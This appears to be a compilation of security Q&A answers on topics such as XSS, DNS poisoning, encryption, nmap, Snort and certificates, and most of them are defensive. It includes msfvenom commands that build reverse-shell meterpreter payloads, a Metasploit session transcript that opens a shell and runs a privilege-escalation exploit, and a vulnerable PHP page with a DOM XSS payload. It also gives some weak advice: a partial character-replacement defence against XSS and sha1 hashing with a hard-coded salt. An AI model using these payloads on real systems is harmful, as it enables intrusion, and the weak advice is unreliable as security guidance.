For security, this is very good. You're recommending about 64 bits of entropy in the password, which is far more than 99.9999% users will come up on their own. And not storing the plaintext password is obviously good for security.

For usability, this is mostly ok, but there's a big hole: a lot of users will use that password, neglect to write it down anywhere, and promptly forget it. Copy, paste, forget. So you'll have to use your password reset procedure often, which means it'll have to be lightweight, which likely means it'll be pretty insecure.


How to stop JS from executing when passed in as a parameter to the URL? (no script tags)

One good way of dealing with this would be to replace all special characters (specifically the following 6 #/'();) with their HTML character entity equivalents. It will visually appear the same but javascript will not recognise it as that character.

The main examples.

# becomes &num;
/ becomes &sol;
' becomes &apos;
( becomes &lpar;
) becomes &rpar;
; becomes &semi;

You can see more HTML references here: https://dev.w3.org/html5/html-author/charref

edit1:
Also, filter out the URL encoded versions as these will be converted to the ASCII equivilant on hitting the server but perhaps after you replace them. it depends on when you validate. You should also limit the length of the input, as this can make XSS less effective if you accidentally let something through. If avoidable, don't reflect inputs into javascript.

edit2: You could even get a library to encode the entire string into the HTML character entity equivalents. Probably the easiest.


How to prepare FATCA data transmission files with open source tools

Here is the process I have designed with available Linux tools. Care to all file names (case sensitive) and replace MyOrgGIIN with your organisation's GIIN identifier.

There is high risk that quotation marks and comas are present in your FATCA XML file. Expunge these characters from the XML file to avoid failure at submission (and some others like hash and double dash, read this PDF for details).
Include your ftc:FATCA_OECD XML structure into an enveloping signature template specifying expected cipher and hash methods (Payload.xml):

<?xml version="1.0" encoding="utf-8"?>
<Signature xmlns="http://www.w3.org/2000/09/xmldsig#">
  <SignedInfo>
    <CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
    <SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/>
    <Reference URI="#FATCA">
      <Transforms>
        <Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
      </Transforms>
      <DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/>
      <DigestValue></DigestValue>
    </Reference>
  </SignedInfo>
  <SignatureValue></SignatureValue>
  <KeyInfo>
    <X509Data>
      <X509SubjectName></X509SubjectName>
      <X509Certificate></X509Certificate>
    </X509Data>
  </KeyInfo>
  <Object Id="FATCA">
    <ftc:FATCA_OECD xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
      xmlns="urn:oecd:ties:fatca:v1" xmlns:ftc="urn:oecd:ties:fatca:v1"
      xmlns:iso="urn:oecd:ties:isofatcatypes:v1"
      xmlns:sfa="urn:oecd:ties:stffatcatypes:v1" version="1.1">

      [... your data ...]

    </ftc:FATCA_OECD>
  </Object>
</Signature>

Generate XML signature in prepared template with xmlsec1, it will fill empty nodes:

xmlsec1 --sign --output MyOrgGIIN_Payload.xml --pkcs12 myorg_ssl_certificate.p12 --pwd pkcs12password Playload.xml

Compress signed XML payload as zip archive

zip MyOrgGIIN_Payload.zip MyOrgGIIN_Payload.xml

Generate a single usage 32 bytes key

dd if=/dev/random of=mySingleUsageAesKey bs=8 count=4

Display the 32 bytes as hexadecimal sequence (64 characters)

xxd -c 32 -p mySingleUsageAesKey

Encrypt your Payload.zip file with AES-256 passing your hexadecimal key as -K option

openssl aes-256-ecb -nosalt -K HexaSequenceForMySingleUsageAesKey -in MyOrgGIIN_Payload.zip -out MyOrgGIIN_Payload

Encrypt the AES key with IRS RSA public key

openssl rsautl -encrypt -certin -inkey IRSpublickey.cer -in mySingleUsageAesKey -out 000000.00000.TA.840_Key

Generate a timestamp with date "+%Y%m%d%H%M%S%2NZ"
Create metadata file using this timestamp from IDES site as MyOrgGIIN_Metadata.xml
Pack your metadata, encrypted payload and encrypted AES key in transmission data archive

zip TIMESTAMP_MyOrgGIIN.zip MyOrgGIIN_Metadata.xml MyOrgGIIN_Payload 000000.00000.TA.840_Key

Now submit and react to errors notification.


Could somebody explain how DNS poisoning might occur in this scenario?

Since DNS usually runs over UDP, response packets can be readily spoofed. UDP  packets are identified by the combination of source and destination IP address and source and destination port numbers.

The classic DNS poisoning attack is to send a DNS server a query which you think will cause the server to do a recursive lookup, and then blast away at the server with spoofed response packets for the secondary request you expect the server to make. If you get the right IP/port combinations and transaction ID and your answer arrives first, your faked answer could be accepted and inserted into the cache.

Well, we know the source and destination IP address ahead of time, and we know that DNS runs on port 53, so that's one of the port numbers. Assuming DNS queries get sent FROM port 53 as well as being sent TO port 53, then we've got all 4. Then all we have to worry about is the transaction ID, which is a 16-bit number. That means each packet we send has a 1 in 65K chance of striking gold. We could easily spam out several thousand packets in just a second or so, which gives us a decent chance of poisoning the server's cache. If we push out 10K response packets before the "real" response comes in, that gives us about a 1 in 6 chance overall of success. And if it fails, we just wait for expiry and try again.

But, if the server uses a random outbound port number on recursive lookup queries, then that adds another 16 bits worth of material that we have to guess right for our response to be accepted. So that's a total of 32-bits, or about 4 billion possibilities. That means that our odds for each packet go from 1 in 65,536 to 1 in 4,294,967,296, which becomes a bit prohibitive.

So while you can't be 100% certain that a response isn't spoofed, the odds are weighted much more in the favor of the defender if he randomizes his source ports for his secondary lookups; enough so to dissuade most attackers from investing the resources to try the attack.


Encryption and decryption in the browser on the client's side – is it safe?

Let's put some of the specific technical implementation details aside and focus on what you have asked or assumed:

is decryption on the client-side safe?
is finding out what encryption has been used a problem?
is a strong hash as a key strong security?

Decrypting client-side
There is nothing wrong with having all the decryption client-side, and for very secure implementations, it's actually preferable. If it is all client-side, then the transmitting and storage is all inherently encrypted. "But an attacker could steal it from the client!" Yes, but they could do that anyway. PII is all over a client machine. If an attacker has access to the client device, they have everything anyway.
Knowing the encryption algorithm
There is a concept in cryptography called "Kerckhoffs's principle", which proposes that all encryption should aim to be safe even if an attacker knows exactly what encryption method was used. The only secret thing should be the key. All approved encryption algorithms meet Kerckhoffs's, so no, it's not a problem if an attacker knows how the file was encrypted.
Hash as key
The problem with your key generation idea is that the different factors and how you use them to create a hash which becomes the key doesn't matter. The final string is the password to the file. If the file needs to be opened again, the string can be saved, stored, and reused. So all your work to "protect" the key is defeated. You just created an awfully inconvenient random string generator.
And if you purposely prevent the user from doing this, you cannot prevent an attacker from creating their own version of your Java app and simply cutting out all your controls. So all you will end up doing is making it very difficult for users.
What to do
You could simplify your entire process by simply using standard Java encryption libraries and protect the encryption key with a user password. This is what online password managers do, and they protect data far more sensitive than PII.


Never evaluate untrusted input as HTML. Even if the DOM is disconnected (i.e. not inserted in the document), evaluation of HTML can still cause XSS. Your specific example can be exploited using event attributes:

var userInput = '';
$("").html(userInput);

If you really need to parse untrusted HTML in a browser, use the DOMParser API (with text/html).

Another way to prevent the attack is to use a Content Security Policy Content-Security-Policy with a script-src directive that excludes the 'unsafe-inline' token. CSP is just damage control though, and should not be used as a substitute to proper input sanitization.


Can I use my website's SSL certificates to issue new certificates?

In order for your certificate to be used to sign other certificates, this would have to be specified in the basic constraints field of your certificate.  For any certificate issued by Let's Encrypt, or any other trusted root CA, this is not permitted.  See https://stackoverflow.com/questions/21319841/signing-certificate-with-another-certificate-signed-by-ca/21322032#21322032 for more info.


How did the attackers use ccleaner in order to plant their malware?

As @schroeder said, Piriform/Avast haven't yet released details on how the software was backdoored. That said, we can still figure out how it might have occurred with a high level of certainty (that is to say, some guesswork and logic).

According to Avast's reports, they believe that the attacker behind the threat were highly advanced - that is - an Advanced Persistent Threat or APT. This sort of actor doesn't rely solely on publicly disclosed vulnerabilities but also have access to other sources for exploits - zero day exploits or even physical access.

Until Avast discloses just how the attack on their systems took place, the following are possible attack vectors through which they might've been compromised:

Exploitation of zero days on their infrastructure
Social engineering attacks on their developers - to get them to execute/backdoor their own code unknowingly.

In the light of their blog post that claims that the attack was an APT, I'm leaving out other possible vectors such as 'It was an inside job' - the target seems to have been much larger and it's unlikely to have been as small as this might otherwise imply.

So far, we've only looked at how someone might've broken into the production servers. But how about actually backdooring the code?

Well, once you've got access to a system, that part is definitely much easier. They could've smuggled in their backdoor through larger commits in internal systems (guessing here) where they'd have likely gone unnoticed once a developer signed off on the code, or they could have patched the binaries themselves on the update server after stealing the signing certificate (which seems more likely). Detecting these threats before they can do real damage is more difficult than it looks though.

I'll update this answer with more details as they come in, but for now, that's all we get as outsiders.


Should you care about DoS attacks if your server is using bcrypt?

bcrypt is slow, which definitely increases the risk of an easy DoS attack, but there are a number of ways you could rate-limit clients before they get to the bcrypt step:

Keep track of IP addresses and ignore anyone trying to log in too quickly (maybe start out by pausing for certain amount of time before authenticating, then work your way up to a blacklisting IP's).
Put login attempts in a priority queue and set priority based on how many failed login attempts a particular IP address as made recently. This will leave your server under heavy load, but legitimate users should be able to get in.
Add a CAPTCHA. CAPTCHA's are annoying, so only require this if you detect an attack in progress or you get too many attempts from a single IP address.
Make the client's machine do something expensive as part of the login process, like cracking a short hash or finding the prime factors of a small number. This has the advantage that using a different IP won't help, but it would mean JavaScript is required to log in.
Detect when a user is attempting to log in from a new location and send them an email. Don't even bother trying to check the password until the IP address is authenticated. This has the disadvantage that attackers could annoy (and scare) your users if they have a sufficiently large number of IP addresses to work with.


if SSL v3 disabled on www.google.com, why does openssl output suggest SSL v3 is being used?

These messages are coming from SSL_state_string_long, and many of them were updated in version 1.1.0 from "SSLv3 [message]" to "SSLv3/TLS [message]", so my guess would be that OpenSSL uses the same code for SSL 3 and TLS handshakes, and you're just using a version before 1.1.0 where the messages weren't yet updated to account for that.

You can see here and here for 1.0.2 that TLS uses many ssl3 functions, only swapping out those that are incompatible. This has been moved in 1.1.0 so that all of the implementations are in methods.c.


If a MiTM has server's cert, how can certificate pinning protect against this?

If the private key of the pinned certificate or one of its descendants is compromised then certificate pinning can't help you.

If the leaf-certificate is pinned, only getting the private key of this certificate allows MitM. If the intermediate certificate one level above is pinned, getting the private key of this intermediate or the leaf allows MitM.

Of course, pinning the leaf also makes it a lot harder to change that certificate.

As always, there is a trade off.


Command to check a website is vulnerable to Logjam

The easiest method would be to use testssl.sh on a Linux system that can access the site. The command below will give you plenty of information about the security of your TLS implementation, including whether or not it is vulnerable to LOGJAM:
./testssl.sh https://yourSIT-IP.com:yourPort

If you just want to test LOGJAM specifically
./testssl.sh https://yourSIT-IP.com:yourPort -J


Any reason to send a user a session salt?

If implementing custom session handling, salt obviously shouldn't be passed to the client, it should be stored either in a configuration file or in a database. Only the session token should be transferred between the client and the server.

First of all I'd suggest to look for uses of SESSION_SALT. If it's not used, remove it as you are just leaking sensitive information here. If you find something, we can take a closer look of what it's meant to do. My first thought was that the programmer just used wrong terminology here and it's actually a session token.


How to secure communications between a web front-end and the web server when/where the HTTPS protocol is compromised?

What are some reasonable/interesting ideas of ways to address this issue practically?

GPG encryption, with steganography to hide the fact that you're using encryption in plain sight.

The basic idea you need to avoid mandatory compromise to encryption, is find any data channel that is not blocked and use non-compromised encryption over that data channel.

That data channel could be, but not limited, to any of these (ordered roughly by how practical they are):

any type of proxy, web proxy, VPN, SSH. Over custom port if necessary.
landline telephone
software modem over the voice channel of mobile network
shortwave/AM radio
satellite phone
Wi-Fi mesh network
packet switch over spam email or pastebin
use or devise protocols that can switch to another protocol mid stream in the same TCP connection
sneaker net
IPoAC
smoke signal

The encryption done on top of this is just regular non compromised encryption. Probably just HTTPS, or perhaps GPG. Doesn't really matter too much.


Is it safe to put user-conrolled strings in a HTTP Location header?

No, this isn't safe. It's dangerous.

A phisher can send an email to your users and and have them click onto a link leading to https://yourwebsite.com/something/something/script.php?someVariable=doesntMatterBecaucseItWontBeRead&someOtherVariable=onlyDesignedToMakeTheUrlLonger&url=https%3A%2F%2Fyourwebsitec.om%2Fsomethinng%2Fsomething%2Fi%2Fdont%2Fcare

Users won't read nor understand that URL. They'll just have a quick look at it – in the best case – and see that it leads to https://yourwebsite.com, so everything is good in their opinions. Then, there is a whole lot of stuffing no one cares about. In the end, the get variable url is defined, starting with https%3A%2F%2Fyourwebsitec.om which is url encoded and when decoded is https://yourwebsitec.om. Notice that the TLD ending is .om, not .com. .om is the TLD ending for Oman and used a lot for phishing (or at least that's my personal impression).

The phisher can simply make the website the user is redirected to look like yours an then get their login information or other personal details from them.


How do you search for a botnet out in the wild?

Set up a honeypot, let it get infected with some malware and log where this malware connects to.

Pros:

You might discover some interesting botnets.
You'll uncover more than google will. I guess that their control pages are not indexed!

Cons:

You need to get a machine infected with malware.
You might have to get a lot of infections before you find a botnet.
You need to be able to spot what might be a botnet in the network traffic.


How to protect emails in a database when you don't need to send emails

You could create a global salt for your application (not stored in the database, but in the code itself.) and use a rather weak hash since you're not really aiming for amazing security. For example:

$globalSalt = 'ilovebananas123';

Now, on registration it will look something like this:

$email = $_POST["email"];

$emailHash = sha1($email . $globalSalt);
// search the database for this hash.
// if no result was found, the email is unique!


How to reinstall Win7 from a D-drive on an infected laptop

Standard protocol would be to wipe the hard drive(s) completely clean and install from known good read-only media.

A malware also modifying the windows 7 copy on the recovery partition is conceivable. But whether or not the malware you have did that is something we can not tell you without looking at your machine.


I can tell you why we, 1Password, use PBKDF2 instead of a more modern successor. Quoting from the 1Password Security Design document,

  The choice of PBKDF2-HMAC-SHA256 as our slow hash is largely a function
  of there being (reasonably) efficient implementations available for all
  of our clients. While we could have used a more modern password hashing
  scheme, any advantage of doing so would have been lost by how slowly it
  would run within JavaScript in most web browsers.

  Because all of our key derivation is performed by the client (so that
  the server never needs to see the password) we are constrained in our
  choices by our least efficient client. The Makwa password hashing
  scheme\autocite{pornin:MAKWA}, however, is a possible road forward
  because it allows some of the computation to be passed to a server
  without revealing any secrets to that server.

Basically, we needed a slow KDF that would run efficiently in all clients, including our web client. And PBKDF2-H256 is the best that web crypto could offer.

I can't speak for LastPass, but I would suspect that their reasons are similar.

Slow hashing offers diminishing returns

While it would be nicer to move to a more modern slow hash, it is important to keep in mind that there are limits on what these can buy us. For example, if you have 100,000 rounds of PBKDF2, then to get the same strength increase to adding a randomly chosen digit to the end of your master password, you'd need to move to 1 million rounds. Maybe you are willing to wait a couple of seconds when unlocking your password manager, but you are also going to be sucking power from your battery on mobile devices.

So it is important to have a slow KDF, but we also reach a point where the effort should go into encouraging stronger master passwords. I wrote about this in Bcrypt is great but ...

I don't want to turn this into a sales pitch, but I should point out that as we've always understood the limits of slow hashing, we designed 1Password so that the data we hold on our servers is not vulnerable to such cracking. Our use of PBKDF2 (and the strength of your master password) is defends you if your encrypted 1Password data is stolen from your machines.

The mysterious future

I can't make any promises, but we are actively looking at WASM to get around these sorts of constraints. It turns out that there are challenges to safely integrating WebAssembly into web-apps and we haven't even begun any sort of performance testing.


Can I revoke a client certificate using only it's serial number (not it's crt/pem)?

In X509 the fields making a certificate unique is the combination of issuer and serial number. Only the serial number is not guaranteed to be unique since two CAs may use the same serial. This is the reason both are typically needed for revocation.
In practice, if you only have one CA, the serial will be enough of course. But it's not generic.
There should be no problem manually editing the database, as this will be the same thing as the command will do


First of all, your shell.c code is right.

The problem is that you are executing an exploit generated for Windows platform, as you can see:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=7878 -f c -o shell.c

If your target is Windows, the format file output need to be executable file -f exe. I recommend using the -b '\x00' to guarantee the bad characters encoding:

Windows x86: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=7878 -f exe -o shell.exe -b '\x00'

there a tiny change for Windows x64, just make sure that your payload path contains "x64": windows/x64/meterpreter/...

Windows x64: msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=7878 -f exe -o shell.exe -b '\x00'

In a Linux platform you have to specify the architecture in the path to msfvenom:

Linux x86: msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=7878 -f c -o shell.c -b '\x00'

Note that I change the format (-f) output file to .c.

Linux x64: msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=7878 -f c -o shell.c -b '\x00'

However, if your target is Linux x86... So assuming you are on the platform mentioned in your question [4.9.0-kali4-amd64 #1 SMP Debian 4.9.25-1kali1 (2017-05-04) x86_64 GNU/Linux] you will have to specify the architecture in gcc using -m32.


There seems to be a flaw in the design of this system.

If you want to guarantee (to a reasonable extent) that the only person who reads the message is the user who enters their e-mail address, then the user must provide their public key and your server should encrypt the message using that key. It will be responsibility of users to decrypt the messages.

Otherwise something else needs to decrypt messages for users and therefore needs to have access to private keys. If your threat model includes the risk of the database being stolen than the same way that other system that will be decrypting messages could also be stolen, including the keys.

  Is there another (better) way, without any password input, or client software, just with a link via email?

In this case the e-mail becomes "the key" because it is the only information that is required to obtain the cleartext message. Therefore you system becomes as (in)secure as the e-mail message and its delivery.


Scanning multiple subnets with nmap to determine open services & ports

Do your own host discovery first.  Like I said in a comment, use CIDR range instead of or in addition to your list of specific IP addresses.  Maybe one scan from your list and a separate scan for host discovery.
As the docs on host discovery say,

  One of the very first steps in any network reconnaissance mission is to reduce a (sometimes huge) set of IP ranges into a list of active or interesting hosts. Scanning every port of every single IP address is slow and usually unnecessary.

The advantage of -sS is that it is quick and not noisy.  It may be a good place to start as it will identify "low hanging fruit".

I would encourage you to broaden this.

If I were doing it, I would want UDP and other IP protocols as well as the TCP that you specify when you use -sS:

include -sU so that you look at UDP ports.  as the docs say :

  "Because UDP scanning is generally slower and more difficult than TCP,
  some security auditors ignore these ports. This is a mistake, as
  exploitable UDP services are quite common and attackers certainly
  don't ignore the whole protocol."

include -sO so that any IP functionality is discovered.

Collect other nmap features that make sense for your situation.  (For example, do you want version detection of the services you find so you can identify vulnerable versions?  If so, look at http://nmap.org/book/man-version-detection.html)


What should a verification email consist of?

How are you generating the 25 character string which you include in the URL?  Is it completely random, or is it based off the current time, or the users email?  It should be random and not guessable.

You should make sure the verification page  actually renders (not just that a GET request occurred). Browsers such as chrome (and antivirus programs) often load URLs without the user explicitly clicking them as either a pre-fetch or to scan for security reasons.

That could result in a scenario where a malicious actor (Eve) wants to make an account using someone else's email (Alice).
Eve signs up, and Alice received an email. Alice opens the email because she is curious about an account she didn't request. Her browser (or antivirus) requests the URL in the background, inadvertently activating the account.

I would use JavaScript on the page to verify the page actually rendered, and also include a link in the email where users can report that they did NOT create this account.


How to reverse engineer w32/malware!gemini?

Well there's a slight difference between the two.

The best way to try and determine where the data is being sent is to monitor and trace all of your outbound traffic.

If you'd like to reverse engineer it to possibly learn more about it and if you are missing anything as far as what it is doing or what it is sending there'd be a slightly different path.

Monitoring a clean and controlled system, using packet sniffers in conjunction with IDS(s), trying to disassemble any binaries you find that it adds, debugging/looking at the strings/hexediting as best you can should garner you plenty more information about it than you currently know.


Metasploit using the wrong LHOST address

The solution to my problem was explained in the comments by Mukesh (many thank to schroeder for having the time to help me to structure better the question). The solution is to set PAYLOAD again before each local exploit you are going to use.

msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD linux/x86/meterpreter/reverse_tcp
PAYLOAD => linux/x86/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.0.1
LHOST => 192.168.0.1
msf exploit(handler) > set LPORT 4444
LPORT => 4444
msf exploit(handler) > run

[*] Started reverse TCP handler on 192.168.0.1:4444
[*] Sending stage (847604 bytes) to 192.168.0.158
[*] Meterpreter session 1 opened (192.168.0.1:4444 -> 192.168.0.158:57772) at 2018-01-11 16:30:40 -0500

meterpreter > background
[*] Backgrounding session 1...
msf exploit(handler) > use exploit/windows/local/ppr_flatten_rec
msf exploit(ppr_flatten_rec) > set PAYLOAD windows/meterpreter/reverse_tcp  <------- [previously this was missing]
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(ppr_flatten_rec) > show options

Module options (exploit/windows/local/ppr_flatten_rec):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on.
   WAIT     10               yes       Number of seconds to wait for exploit to run

Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST                      yes       The listen address
   LPORT     4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Automatic

msf exploit(ppr_flatten_rec) > set LHOST 192.168.0.1
LHOST => 192.168.0.1
msf exploit(ppr_flatten_rec) > set LPORT 4445
LPORT => 4445
msf exploit(ppr_flatten_rec) > show options

Module options (exploit/windows/local/ppr_flatten_rec):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on.
   WAIT     10               yes       Number of seconds to wait for exploit to run

Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.0.1     yes       The listen address
   LPORT     4445             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Automatic

msf exploit(ppr_flatten_rec) > set SESSION 1
SESSION => 1
msf exploit(ppr_flatten_rec) > run

[!] SESSION may not be compatible with this module.
[*] Started reverse TCP handler on 192.168.0.1:4445  <----- [Now the IP is the correct one]


The main reason that /etc/hosts (or the windows equivalent %SYSTEMROOT%\system32\drivers\etc\hosts ) are used by attackers is to redirect user traffic to sites under their control.  It's important to note that hosts files are used in preference to DNS servers, so even if the user has a good entry in DNS for a specific system, hosts will still take precedence.

In terms of where this has been used, banking trojans have made use of attacks on hosts files to effectively send customers to fake banking sites, which appear to use the correct host name (e.g. this one).  However in general if the attacker can modify hosts, things like MITM attacks become much easier as the victim will transmit traffic directly to a machine of the attackers choosing without any other intervention.


Can we stop aimbots by introducing a "Protected Input Path" that ensures that mouse input really comes from the mouse?

One of the things many companies realize is that cheating in games is very much like information or network security. It's a cat and mouse game.

To answer the "has something been attempted" area of questions, yes various tricks have been deployed, and continues to be "updated". Games may disable "virtual" input, input provided from certain devices, or certain inputs all together. In some games, they may disable or block certain keystrokes. I particularly remember an update to a popular free FPS where the Insert and Delete keys were effectively disabled while the game was running. Reasoning behind this was that cheats used these keys commonly.

The other area to consider is the cost/benefit. For instance, a game like Combat Arms (a free online multiplayer FPS) is victim to cheating likely because there is little to loose when a player's account is banned. The offending user can simply create another account. Games have attempted to address this with banning users by hard drive serial numbers, and so on. Again, cheaters will find ways around this, including banning IP addresses.

The key part to remember is that anti-cheats effectively work with one of the following three:

White Lists
Black Lists
Behavior Analysis

When you describe the "Protected Input Path", you are effectively describing a white list. Considering the amount of hardware input devices, the manufactures, and so on, the task could be difficult. While I could see some names pushing for such an idea, others would likely be against it, because:

This leads to a loss of cross platform capabilities.
Who is going to manage all of this?
What about the costs of managing this?
How do people go about getting devices "approved"?
Is it going to be an open specification?

Bypassing memory protections of processes in an OS such as Windows can come across easy enough as cycling does for others. Valve Corporation had discussed the idea of a rootkit for Valve Anti-Cheat, but that idea was never realized outside of academic discussions. Battleye says the following about it's product:

  Fully proactive kernel-based protection system and fast dynamic and
  permanent scanning of the player’s system using specific and
  heuristic/generic detection routines for maximum effectiveness.

You can take that to mean whatever you like, but from my understanding, it's effectively a rootkit (just lacking the manipulation capabilities).

I particularly had fun once with a free online FPS title. The title in question included a third-party anti-cheat, where if you suspended the child process responsible for cheat-detection, you effectively could run whatever cheats you wanted to.

tl;dr: It may eventually come about with competitive gaming, but it's a case of cat and mouse, and there are currently easier solutions which include "global bans" and so on.


How to make sense of, and act on, Snort Rules?

If you want something that provides advice targeted to your specific needs and environment, then a free Snort or Suricata install without a support contract from an established vendor or good consultant is probably not the best solution for your desires, though it may fit your budget.

In general, start off with the default SNORT rulesets you use - the community rules and/or Emerging Threats Open or Pro, and/or one of the SNORT rulesets.

See what alerts it pings, to where, and from where.

You may need to enable SNORT on a LAN interface to get a better view of where they're coming from.  Alternately, assign a 1:1 NAT to one or more suspect internal IP's so the external IP address is meaningful in some way.
Read the rules! Follow the links!  Use your search engines!
Learn!

Just last night I enabled some Confiker-C rules that immediately alerts on an app I expected was good, and which turned up clean on multiple antivirus scans.

Experiment!

In your example, try a Chrome plugin update, see if it alerts.  Then try a new install, see if it alerts.

Enable or Disable!  The most efficient course of removing a rule is disabling it.
Suppress!

Suppressing rules to specific IP's allows "whitelisting" rule+IP combinations, which is quite useful.
Every time you suppress, open up the suppress file and add a comment about why you suppressed the rule in that case.  This will be useful later when you're evaluating your suppress list, and to anyone else that inherits what you've done.

SNORT rules aren't supposed to inform you of what you should do about them; for instance, my favorite recurring alert is "ET POLICY Outdated Windows Flash Version IE"
 - Obviously, you should uninstall Flash entirely!
 - Wait, no, you should update Flash!
 - Hey, this is for a particular mission critical business app that doesn't work on new Flash, and you should suppress the alert ONLY for this particular IP address.

There's no way someone else can know your business.

There's no way the rule writers can predict future false positives, even if they had the time, budget, and inclination to look hard for false positives across all possible legitimate traffic in the first place.

To sum up, you have three major choices:
Hire an expert to do this for you, learn about each alert type using the data provides and some research, or disable blindly.

If it helps, the learning curve does even out, until the next issue shows up (SNORT blocking a particular Blu-Ray player from accessing Netflix because it's vulnerable to POODLE and the maker didn't patch it then or ever, for instance), and then the research should be easier.


Is it ok to have GRANT ANY ROLE privilege granted to an Oracle account which is expired & locked?

Having such a setup is non-sence, unless this user owns some PL/SQL code. By default in Oracle all the code is invoked with priviledges of the owner. I think you should audit user's stored PL/SQL code to answer your question.

Oracle's security model is not too handy. It is usually everything or nothing. So it is common that such a user (which can theoretically grant DBA role to anybody) ows a stored procedure which contains a white-list of "safe" roles. And this procedure grants these roles when executed. Some other user has right to execute this procedure. So if you want to have some "grained" security you have to implement it by your own.


Cannot identify or block unknown MAC addresses (Part 2)

Those 5 MAC addresses all are in the 00:FF domain, which are traditionally used for bridged/routed adapters.   They aren't assigned to any individual vendor by the IEEE.  In this case, you have two possibilities:

1) A malicious actor somehow spoofing MAC addresses on your internal network, or

(much more likely)

2) A computer on your network has some type of virtual (VPN, Virtual Machine, Docker Container, Internet Connection Sharing, etc) adapter(s) which are registering with your router as they show up in the subnet's ARP table.  Perhaps traffic generated by those sessions is causing the internet to be slow, as 1MBps can easily be clogged up by streaming or downloading etc.

It's likely the reason that banning them on your router's DHCP table doesn't seem to work is that they don't need DHCP to function -- they're using the host computer's IP address.  They're also having traffic routed through that main computer's interface, thus using the main computer's MAC address.

In the end, as others have suggested the only way to conclusively determine what the issue is would be to run a packet capture/trace to see what traffic that MAC address is generating, which might require changing the router with one that supports such inspection.

Reference: Lookup MAC by Vendor - https://regauth.standards.ieee.org/standards-ra-web/pub/view.html#registries


Is it possible to safely connect to the internet using a malicious router?

If you use a VPN, Tor or 100%1 HTTPS (w/o ignoring warnings) on your local machine to connect through the router to the internet than the attacker on the router cannot extract passwords or similar from your traffic and cannot manipulate the traffic. He can deny or delay the traffic though and in case of HTTPS he can at least see where you are connecting to in order to collect information about you or only disturb selected traffic. With HTTPS he can also intercept and manipulate plain2 DNS requests and responses but this does not affect the security of HTTPS itself.

All of this is independent of how the router connects to the internet, i.e. it does not matter if 4G, DSL, fiber, cable or others. It also does not matter if you connect to the router with wire or wireless. With a "4g usb dongle" though you get additionally potential USB based attacks - although in this case (BadUSB) it is not enough for the attacker to be "at the router" but he has to be deeper in the firmware in order to make the USB device not behave like a router but like a keyboard or similar.

But even though your internet traffic is mostly protected, having an attacker on a local router means to have the attacker in the local network. Depending on the configuration of your system the attacker might attack your machine directly. A firewall on your local system which denies any connections initiated from outside will protect you from such network level attacks (i.e. not from BadUSB).

1  Note that 100% HTTPS is unrealistic, there is usually at least some plain HTTP involved. And plain HTTP could be modified by the attacker on the router.

2 Plain DNS means no DNS over TLS or DNS over HTTPS or otherwise protected DNS (like in DNSSec). Plain DNS is still the most common way of using DNS.


Is this code vulnerable to DOM based attacks?

This won't be problem as long as st_val is NOT under the client control. As you know, if you are setting value of the window.location.href variable it will redirect current page to the new value. If attacker set javascript:alert(1) value to the st_val this will be end up with DOM XSS.

For example;

<html>
<meta charset="utf-8"/>
Hello
<script>
function onSubmit(){
        window.location.href = document.getElementById("st_val").value;
}
</script>
        <input type="hidden" id="st_val" value="<?php echo (isset($_GET['pay']) ? $_GET['pay'] : '')?>">
        <input type="submit" value="Submit" onclick="return onSubmit();">
</html>

Attacker sends following request. http://domain.com/xss/href.php?pay=javascript:alert(1)

alert(1) function will be called immiadetly when you clicked on submit button.

In conclusion, it's safe to use window.location.href as long as values comes from your backend, without client decision!


What are the suggested way to protect content in mobile app

What you want to do is called the DRM Problem, and it can't be solved. No matter what measures you take, I can always circumvent them.

If you create an image and want to display it on my screen, I can copy it.
If you create an audio track and want it to play on my speakers, I can copy it.
If you create a piece of JavaScript code and want it to run in my browser, I can copy it.

As soon as I have access to it, I can copy it.


Without adding any additional hardware, is RAM encryption possible?

Sure.
You can encrypt whatever you like in RAM, just like you encrypt everything else.
The more interesting quesstion is "where are the keys". You can just leave the keys in RAM as well or give them to the OS which will also store them in RAM.
You can apply some of the fancy techniques proposed by Schneier et. al. in Cryptography Engineering, i.e. one-time-pad encrypt the key to your data, store the pad in RAM and decrypt data only when needed.

  If so are there any known and currently used implementations for Linux or Windows systems

Windows offers the Data-Protection API (DPAPI), letting you encrypt data using the user's log-in credentials. I know that at least some password managers (like KeePass) use this to protect the valuable passwords in RAM.

Using a Trusted Platform Module (TPM; which get increasingly popular as Windows now requires them) or some other dedicated hardware would indeed solve the issue best by offloading the key to a place you trust in case the RAM is compromised.

However there's one solution that is rolling out right now: Intel's Software Guard Extensions (SGX), shipping with Skylake and newer CPUs. They allow you to load a program into your processor, verify its state is correct - remotely - and then protect its execution. The CPU will automatically encrypt everything leaving the processor (i.e. everything that is offloaded to RAM) and will thereby ensure security for you. The only problem for mass deployment is that SGX requires you to have a signed code that your processor will accept, i.e. Intel must issue you a certificate for this purpose.


Are there sha 512 rainbow tables available?

Possibly, but given their size - much more likely to download a generation tool and a word pattern list.

Rainbow tables are a carefully comprised collection of dictionary words and probable combinations in order to save on space.

